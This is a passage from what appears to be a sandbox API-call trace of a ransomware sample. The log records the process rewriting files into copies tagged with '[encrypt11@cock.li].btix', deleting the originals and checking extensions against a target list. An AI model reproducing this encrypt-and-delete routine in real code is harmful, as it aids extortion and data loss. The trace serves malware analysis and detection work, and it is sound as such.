lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.573] SetEndOfFile (hFile=0x358) returned 1 [0071.574] CloseHandle (hObject=0x358) returned 1 [0071.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0071.574] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1 [0071.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0071.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0071.575] lstrlenW (lpString=".doc") returned 4 [0071.575] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.575] lstrlenW (lpString=".docx") returned 5 [0071.575] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0071.575] lstrlenW (lpString=".pdf") returned 4 [0071.575] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.575] lstrlenW (lpString=".xls") returned 4 [0071.575] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.575] lstrlenW (lpString=".xlsx") returned 5 [0071.575] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0071.575] lstrlenW (lpString=".ppt") returned 4 [0071.575] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0071.575] lstrlenW (lpString=".zip") returned 4 [0071.575] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.575] lstrlenW (lpString=".rar") returned 4 [0071.575] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.575] lstrlenW (lpString=".bz2") returned 4 [0071.575] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.575] lstrlenW (lpString=".7z") returned 3 [0071.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0071.575] lstrlenW (lpString=".dbf") returned 4 [0071.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0071.575] lstrlenW (lpString=".1cd") returned 4 [0071.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65 [0071.575] lstrlenW (lpString=".jpg") returned 4 [0071.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.576] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.576] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0071.576] GetLastError () returned 0x0 [0071.577] ReadFile (hFile=0x358, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0) Thread: id = 15 os_tid = 0xbb4 [0040.829] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3c20048 [0040.829] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3c30050 [0040.829] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecaa0 [0040.830] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x71cfd0 [0040.830] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecbc0 [0040.830] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x3d26020 [0040.832] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecab8 [0040.832] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecab8, Size=0x20) returned 0x6ce7c8 [0040.832] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecbf0 [0040.832] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecbf0, Size=0x20) returned 0x6ce7f0 [0040.832] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0040.832] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.832] Wow64DisableWow64FsRedirection (in: OldValue=0x316ff50 | out: OldValue=0x316ff50*=0x0) returned 1 [0040.832] lstrlenW (lpString="kernel32.dll") returned 12 [0040.832] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0040.832] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.832] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x690000) returned 1 [0040.832] Sleep (dwMilliseconds=0x64) [0041.199] lstrcmpiW (lpString1=".cmd", lpString2=".btix") returned 1 [0041.199] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0041.199] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0041.495] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=577) returned 1 [0041.495] CloseHandle (hObject=0x314) returned 1 [0041.495] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0041.496] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.732] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.732] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.733] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.733] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0041.733] GetLastError () returned 0x0 [0041.733] ReadFile (in: hFile=0x31c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x241, lpOverlapped=0x0) returned 1 [0041.758] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x250, lpOverlapped=0x0) returned 1 [0041.759] ReadFile (in: hFile=0x31c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.759] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x104, lpOverlapped=0x0) returned 1 [0041.759] SetEndOfFile (hFile=0x324) returned 1 [0041.759] CloseHandle (hObject=0x324) returned 1 [0041.759] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.759] SetEndOfFile (hFile=0x31c) returned 1 [0041.760] CloseHandle (hObject=0x31c) returned 1 [0041.760] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0041.761] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0041.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.761] lstrlenW (lpString=".doc") returned 4 [0041.761] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0041.761] lstrlenW (lpString=".docx") returned 5 [0041.761] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0041.761] lstrlenW (lpString=".pdf") returned 4 [0041.761] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0041.761] lstrlenW (lpString=".xls") returned 4 [0041.761] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0041.761] lstrlenW (lpString=".xlsx") returned 5 [0041.761] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0041.761] lstrlenW (lpString=".ppt") returned 4 [0041.761] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0041.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.761] lstrlenW (lpString=".zip") returned 4 [0041.761] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0041.761] lstrlenW (lpString=".rar") returned 4 [0041.761] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0041.761] lstrlenW (lpString=".bz2") returned 4 [0041.761] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0041.761] lstrlenW (lpString=".7z") returned 3 [0041.761] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0041.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.761] lstrlenW (lpString=".dbf") returned 4 [0041.761] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0041.761] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.762] lstrlenW (lpString=".1cd") returned 4 [0041.762] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0041.762] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.762] lstrlenW (lpString=".jpg") returned 4 [0041.762] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0041.762] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.762] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.762] lstrlenW (lpString=".doc") returned 4 [0041.762] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0041.762] lstrlenW (lpString=".docx") returned 5 [0041.762] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0041.762] lstrlenW (lpString=".pdf") returned 4 [0041.762] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0041.762] lstrlenW (lpString=".xls") returned 4 [0041.762] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0041.762] lstrlenW (lpString=".xlsx") returned 5 [0041.762] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0041.762] lstrlenW (lpString=".ppt") returned 4 [0041.762] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0041.762] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.762] lstrlenW (lpString=".zip") returned 4 [0041.762] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0041.762] lstrlenW (lpString=".rar") returned 4 [0041.762] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0041.762] lstrlenW (lpString=".bz2") returned 4 [0041.762] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0041.762] lstrlenW (lpString=".7z") returned 3 [0041.762] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0041.762] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.762] lstrlenW (lpString=".dbf") returned 4 [0041.762] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0041.762] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.762] lstrlenW (lpString=".1cd") returned 4 [0041.762] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0041.762] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0041.762] lstrlenW (lpString=".jpg") returned 4 [0041.763] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0041.763] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.763] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.763] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.771] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=18776) returned 1 [0041.771] CloseHandle (hObject=0x318) returned 1 [0041.771] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0041.771] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.771] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.771] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.771] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.771] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.835] GetLastError () returned 0x0 [0041.835] ReadFile (in: hFile=0x318, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x4958, lpOverlapped=0x0) returned 1 [0041.866] WriteFile (in: hFile=0x30c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x4960, lpOverlapped=0x0) returned 1 [0041.866] ReadFile (in: hFile=0x318, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.867] WriteFile (in: hFile=0x30c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf8, lpOverlapped=0x0) returned 1 [0041.867] SetEndOfFile (hFile=0x30c) returned 1 [0041.867] CloseHandle (hObject=0x30c) returned 1 [0041.868] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.868] SetEndOfFile (hFile=0x318) returned 1 [0041.869] CloseHandle (hObject=0x318) returned 1 [0041.869] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.869] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0041.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.869] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.869] lstrlenW (lpString=".doc") returned 4 [0041.869] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.869] lstrlenW (lpString=".docx") returned 5 [0041.869] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.869] lstrlenW (lpString=".pdf") returned 4 [0041.869] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.869] lstrlenW (lpString=".xls") returned 4 [0041.869] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.869] lstrlenW (lpString=".xlsx") returned 5 [0041.869] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.870] lstrlenW (lpString=".ppt") returned 4 [0041.870] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.870] lstrlenW (lpString=".zip") returned 4 [0041.870] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.870] lstrlenW (lpString=".rar") returned 4 [0041.870] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.870] lstrlenW (lpString=".bz2") returned 4 [0041.870] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.870] lstrlenW (lpString=".7z") returned 3 [0041.870] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.870] lstrlenW (lpString=".dbf") returned 4 [0041.870] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.870] lstrlenW (lpString=".1cd") returned 4 [0041.870] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.870] lstrlenW (lpString=".jpg") returned 4 [0041.870] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.870] lstrlenW (lpString=".doc") returned 4 [0041.870] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.871] lstrlenW (lpString=".docx") returned 5 [0041.871] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.871] lstrlenW (lpString=".pdf") returned 4 [0041.871] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.871] lstrlenW (lpString=".xls") returned 4 [0041.871] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.871] lstrlenW (lpString=".xlsx") returned 5 [0041.871] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.871] lstrlenW (lpString=".ppt") returned 4 [0041.871] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.871] lstrlenW (lpString=".zip") returned 4 [0041.871] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.871] lstrlenW (lpString=".rar") returned 4 [0041.871] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.871] lstrlenW (lpString=".bz2") returned 4 [0041.871] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.871] lstrlenW (lpString=".7z") returned 3 [0041.871] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.871] lstrlenW (lpString=".dbf") returned 4 [0041.871] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.871] lstrlenW (lpString=".1cd") returned 4 [0041.871] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0041.871] lstrlenW (lpString=".jpg") returned 4 [0041.871] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.871] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.871] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.872] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0041.885] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=17240) returned 1 [0041.885] CloseHandle (hObject=0x32c) returned 1 [0041.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80 [0041.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0041.886] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.886] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.890] GetLastError () returned 0x0 [0041.890] ReadFile (in: hFile=0x32c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x4358, lpOverlapped=0x0) returned 1 [0041.940] WriteFile (in: hFile=0x318, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x4360, lpOverlapped=0x0) returned 1 [0041.941] ReadFile (in: hFile=0x32c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.941] WriteFile (in: hFile=0x318, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf8, lpOverlapped=0x0) returned 1 [0041.941] SetEndOfFile (hFile=0x318) returned 1 [0041.941] CloseHandle (hObject=0x318) returned 1 [0041.942] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.942] SetEndOfFile (hFile=0x32c) returned 1 [0041.943] CloseHandle (hObject=0x32c) returned 1 [0041.943] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.943] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1 [0041.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.943] lstrlenW (lpString=".doc") returned 4 [0041.943] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.943] lstrlenW (lpString=".docx") returned 5 [0041.943] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.943] lstrlenW (lpString=".pdf") returned 4 [0041.944] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.944] lstrlenW (lpString=".xls") returned 4 [0041.944] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.944] lstrlenW (lpString=".xlsx") returned 5 [0041.944] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.944] lstrlenW (lpString=".ppt") returned 4 [0041.944] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0041.944] lstrlenW (lpString=".zip") returned 4 [0041.944] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.944] lstrlenW (lpString=".rar") returned 4 [0041.944] lstrcmpiW (lpString1=".rar", lpString2=".dll") 